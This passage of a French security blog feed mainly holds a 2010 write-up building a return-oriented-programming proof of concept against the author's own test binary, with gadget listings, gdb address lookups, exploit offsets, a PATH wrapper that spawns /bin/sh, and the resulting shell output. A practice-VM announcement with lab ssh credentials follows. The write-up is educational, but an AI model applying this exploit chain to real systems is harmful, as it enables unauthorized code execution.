134);"&gt;&gt;&lt;/span&gt;0x8048446L&lt;span style="color: rgb(210, 205, 134);"&gt;:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80484ceL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;or&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;bh&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;bh&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;ror&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x1&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80486f8L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;ret&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;esp&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80484a3L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048693L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80486f8L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048447L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048745L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80484a2L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048727L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048744L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80486f7L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80486f6L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048690L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;esp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048514L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;or&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x89&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;adc&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80486f9L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;ret&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;esp&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80484d0L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;ror&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x1&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80486fbL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;sbb&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x24&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;On va maintenant récupérer l'adresse de system() qui va nous servir pour notre "shellcode" :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;(gdb) x/x system&lt;br /&gt;0xb7ecd520 : 0x83e58955&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Notre "Shellcode" au final :&lt;br /&gt;&lt;br /&gt;&lt;div class="asm"&gt;&lt;ol&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;&lt;span class="co2"&gt;13451373&lt;/span&gt;&lt;span class="nu0"&gt;4&lt;/span&gt;        &lt;span class="co1"&gt;; pop eax ; pop ebx ; leave // on récupere le prochain mot sur la pile donc l'addresse de la fonction system() pour nous. (0x8048446 en base 10)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;&lt;span class="co2"&gt;30857515&lt;/span&gt;&lt;span class="nu0"&gt;84&lt;/span&gt;       &lt;span class="co1"&gt;; @system // L'adresse de system qu'on a récupéré (0xb7ecd520 en base 10)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;&lt;span class="co2"&gt;13451387&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;        &lt;span class="co1"&gt;; call eax // On saute sur eax , qui contient l'adresse de system (0x8048446 en base 10)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;Et la on test, et tout ne se passe pas très bien. Le problème est rapidement détecté : l'instruction leave (épilogue d'une fonction servant a restituer la pile, dans son état original, a la fonction apellante) réajuste la pile en réinitialisant le pointeur de base de pile (ebp) à la valeure actuelle d'esp (pointeur de pile). L'instruction récupère ensuite la valeur de saved ebp sur la pile, et la dépose dans ebp.&lt;br /&gt;&lt;br /&gt;Notre pointeur de pile est donc décalé, et l'exploitation foire, vu que le call eax n'est jamais apellé :(.&lt;br /&gt;Un petit calcul s'impose donc!&lt;br /&gt;&lt;br /&gt;Trouvons tout d'abord la valeur vers laquelle pointe la pile après le leave (en débuggant ou par calcul): &lt;span style="color: rgb(102, 51, 255);"&gt;0xbffff50c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Calcul de l'offset à utiliser pour ècrire à cette adresse: &lt;span style="color: rgb(51, 51, 255);"&gt;0xbffff50c &lt;/span&gt;- &lt;span style="color: rgb(255, 204, 0);"&gt;0xbfffe460 &lt;/span&gt;= 4268/4 = &lt;span style="color: rgb(102, 255, 153);"&gt;1067&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 255, 153);"&gt;1067 &lt;/span&gt;Sera donc l'offset à utiliser, mettons à jour l'exploit:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;134513734&lt;br /&gt;1035&lt;br /&gt;3085751584&lt;br /&gt;1036&lt;br /&gt;134513871&lt;br /&gt;&lt;span style="color: rgb(153, 255, 153);"&gt;1067        &lt;/span&gt;// Notre nouvel offset&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Testons à nouveau:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;Starting program: /home/sm0k/poc t&lt;br /&gt;&lt;br /&gt;Will Write 134513734(8048446) at Offset 1035&lt;br /&gt;Tab Address : &lt;span style="color: rgb(255, 204, 51);"&gt;0xbfffe460&lt;/span&gt;&lt;br /&gt;WAdress     :0xbffff48c&lt;br /&gt;&lt;br /&gt;Will Write -1209215712(b7ecd520) at Offset 1036&lt;br /&gt;Tab Address : &lt;span style="color: rgb(255, 204, 0);"&gt;0xbfffe460&lt;/span&gt;&lt;br /&gt;WAdress     :0xbffff490&lt;br /&gt;&lt;br /&gt;Will Write 134513871(80484cf) at Offset &lt;span style="color: rgb(102, 255, 153);"&gt;1067&lt;/span&gt;&lt;br /&gt;Tab Address : &lt;span style="color: rgb(255, 204, 51);"&gt;0xbfffe460&lt;/span&gt;&lt;br /&gt;WAdress     :&lt;span style="color: rgb(51, 51, 255);"&gt;0xbffff50c&lt;/span&gt;&lt;br /&gt;sh: Uåäðì0: command not found&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x080484d1 in _start ()&lt;br /&gt;(gdb)&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;ow :] ca fonctionne, donc :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;sh: Uåäðì0: command not found&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Comme on n'a pas passé d'argument à system(), il prend ce qu'il trouve en premier sur la pile, ici "Uåäðì0: ".&lt;br /&gt;&lt;br /&gt;Bon on peut toujours utiliser le vieux trick qui consiste a créer un wrapper apellé "Uåäðì0 " ... Mais on va quand meme essayer de controler l'input de system()...&lt;br /&gt;&lt;br /&gt;On va explorer les section non randomizées et essayer de trouver une chaine...&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;(gdb) maintenance info sections&lt;br /&gt;Exec file:&lt;br /&gt;`/home/sm0k/poc', file type elf32-i386.&lt;br /&gt;0x8048154-&gt;0x8048167 at 0x00000154: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x8048168-&gt;0x8048188 at 0x00000168: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x8048188-&gt;0x80481c0 at 0x00000188: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x80481c0-&gt;0x80481e0 at 0x000001c0: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x80481e0-&gt;0x8048270 at 0x000001e0: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x8048270-&gt;0x80482df at 0x00000270: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x80482e0-&gt;0x80482f2 at 0x000002e0: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x80482f4-&gt;0x8048324 at 0x000002f4: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x8048324-&gt;0x804832c at 0x00000324: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x804832c-&gt;0x8048364 at 0x0000032c: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x8048364-&gt;0x804837b at 0x00000364: .init ALLOC LOAD READONLY CODE HAS_CONTENTS&lt;br /&gt;0x804837c-&gt;0x80483fc at 0x0000037c: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS&lt;br /&gt;0x8048400-&gt;0x804872c at 0x00000400: .text ALLOC LOAD READONLY CODE HAS_CONTENTS&lt;br /&gt;0x804872c-&gt;0x8048748 at 0x0000072c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS&lt;br /&gt;0x8048748-&gt;0x80487a9 at 0x00000748: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x80487ac-&gt;0x80487b0 at 0x000007ac: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS&lt;br /&gt;0x8049f0c-&gt;0x8049f14 at 0x00000f0c: .ctors ALLOC LOAD DATA HAS_CONTENTS&lt;br /&gt;0x8049f14-&gt;0x8049f1c at 0x00000f14: .dtors ALLOC LOAD DATA HAS_CONTENTS&lt;br /&gt;0x8049f1c-&gt;0x8049f20 at 0x00000f1c: .jcr ALLOC LOAD DATA HAS_CONTENTS&lt;br /&gt;0x8049f20-&gt;0x8049ff0 at 0x00000f20: .dynamic ALLOC LOAD DATA HAS_CONTENTS&lt;br /&gt;0x8049ff0-&gt;0x8049ff4 at 0x00000ff0: .got ALLOC LOAD DATA HAS_CONTENTS&lt;br /&gt;0x8049ff4-&gt;0x804a01c at 0x00000ff4: .got.plt ALLOC LOAD DATA HAS_CONTENTS&lt;br /&gt;0x804a01c-&gt;0x804a024 at 0x0000101c: .data ALLOC LOAD DATA HAS_CONTENTS&lt;br /&gt;0x804a024-&gt;0x804a02c at 0x00001024: .bss ALLOC&lt;br /&gt;0x0000-&gt;0x0022 at 0x00001024: .comment READONLY HAS_CONTENTS&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Ceci :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 153, 102);"&gt;0x8048174&lt;/span&gt;:       "GNU"&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;sera parfait. On met l'exploit a jour...&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;134513734&lt;br /&gt;1035&lt;br /&gt;3085751584&lt;br /&gt;1036&lt;br /&gt;134513871&lt;br /&gt;1067&lt;br /&gt;&lt;span style="color: rgb(255, 153, 102);"&gt;134513012       &lt;/span&gt;//Adresse de la chaine "GNU" (&lt;span style="color: rgb(255, 153, 102);"&gt;0x8048174 &lt;/span&gt;en base 10)&lt;br /&gt;1068&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;On crée un wrapper:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;sm0k@wiid ~ $ echo "/bin/sh" &gt; GNU &amp;amp;&amp;amp; chmod +x GNU &amp;amp;&amp;amp; export PATH=/home/sm0k:$PATH&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Et on retest:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;Starting program: /home/sm0k/poc t&lt;br /&gt;&lt;br /&gt;Will Write 134513734(8048446) at Offset 1035&lt;br /&gt;Tab Address : 0xbfffe400&lt;br /&gt;WAdress     :0xbffff42c&lt;br /&gt;&lt;br /&gt;Will Write -1209215712(b7ecd520) at Offset 1036&lt;br /&gt;Tab Address : 0xbfffe400&lt;br /&gt;WAdress     :0xbffff430&lt;br /&gt;&lt;br /&gt;Will Write 134513871(80484cf) at Offset 1067&lt;br /&gt;Tab Address : 0xbfffe400&lt;br /&gt;WAdress     :0xbffff4ac&lt;br /&gt;&lt;br /&gt;Will Write 134513012(8048174) at Offset 1068&lt;br /&gt;Tab Address : 0xbfffe400&lt;br /&gt;WAdress     :0xbffff4b0&lt;br /&gt;sh-4.1$ echo "owi"&lt;br /&gt;owi&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Et Poc!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ici ca reste irréaliste :(. La chaine "GNU" dèja, c'est pas super reliable... Mais sur un programme de plus grande taille on a quand meme des chances de trouver plus pratique.&lt;/li&gt;&lt;li&gt;L'adresse de system() vient de la libc, qui est randomizée :( On pourrait peut être envisager un shellcode qui réécrit la GOT si on avait assez de gadgets? Si le programme était plus grand, on trouverais facilement une alternative à system() dans la section .text qui elle, n'est pas randomizée. C'est aussi possible que cette solution soit dans le programme mais que je l'ai pas vue!!&lt;/li&gt;&lt;li&gt;Eviter les leaves, ou alors en fin de shellcode...&lt;/li&gt;&lt;/ul&gt;Vos commentaires sont les bienvenus!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-649149883237714206?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/649149883237714206/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=649149883237714206' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/649149883237714206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/649149883237714206'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2010/11/ropoc.html' title='ROPoc'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-3638366484670529971</id><published>2010-05-06T08:12:00.000+02:00</published><updated>2010-05-06T08:21:03.884+02:00</updated><title type='text'>Huhu</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_orYbpGQL4hA/S-JfwBReXOI/AAAAAAAAADM/jG5v6On6WVo/s1600/IMG00020-20100504-1728.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_orYbpGQL4hA/S-JfwBReXOI/AAAAAAAAADM/jG5v6On6WVo/s400/IMG00020-20100504-1728.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5468038176161291490" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Le Crédit Lyonnais :p&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-3638366484670529971?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/3638366484670529971/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=3638366484670529971' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3638366484670529971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3638366484670529971'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2010/05/huhu.html' title='Huhu'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_orYbpGQL4hA/S-JfwBReXOI/AAAAAAAAADM/jG5v6On6WVo/s72-c/IMG00020-20100504-1728.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-7000214005116545334</id><published>2010-04-17T20:03:00.000+02:00</published><updated>2010-04-17T20:49:26.541+02:00</updated><title type='text'>VM Zenk Security [Applicative] N°2</title><content type='html'>Bonsoir, voici enfin la seconde VM spéciale Zenk!&lt;br /&gt;&lt;br /&gt;Vous êtes sensés l'utiliser en tant que black box, c'est à dire l'attaquer de l'extérieur, comme si vous n'y aviez pas accès physiquement.&lt;br /&gt;La VM tourne sous VMWare.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.megaupload.com/?d=4H5Q6RYB"&gt;http://www.megaupload.com/?d=4H5Q6RYB&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Voila pour les infos:&lt;/span&gt;&lt;br /&gt;[root@ZenkApp2 ~]# uname -r&lt;br /&gt;2.6.32-ARCH&lt;br /&gt;&lt;br /&gt;L'ASLR est activé, la pile est exécutable, les binaires sont compilés avec l'option -fno-stack-protector&lt;br /&gt;&lt;br /&gt;Voici les instructions:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Serveur ssh port 22&lt;/span&gt;&lt;br /&gt;- Login : user1&lt;br /&gt;- Pass : user1&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Level1&lt;/span&gt;&lt;br /&gt;Objectif : Lire le fichier /home/user2/pass&lt;br /&gt;Indice : &lt;a href="http://www.milw0rm.com/papers/7"&gt;http://www.milw0rm.com/papers/7&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Level2&lt;/span&gt;&lt;br /&gt;Objectif : Lire le fichier /home/user3/pass&lt;br /&gt;Indice : &lt;a href="http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf"&gt;http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf&lt;/a&gt; &lt;a href="http://plasticsouptaste.blogspot.com/2010/03/format-string-par-lexemple.html"&gt;http://plasticsouptaste.blogspot.com/2010/03/format-string-par-lexemple.html&lt;/a&gt; (Han le mec qui se fait de la pub...) &lt;a href="http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf"&gt;http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Level3&lt;/span&gt;&lt;br /&gt;Objectif : Lire le fichier /home/user4/pass&lt;br /&gt;Indice : &lt;a 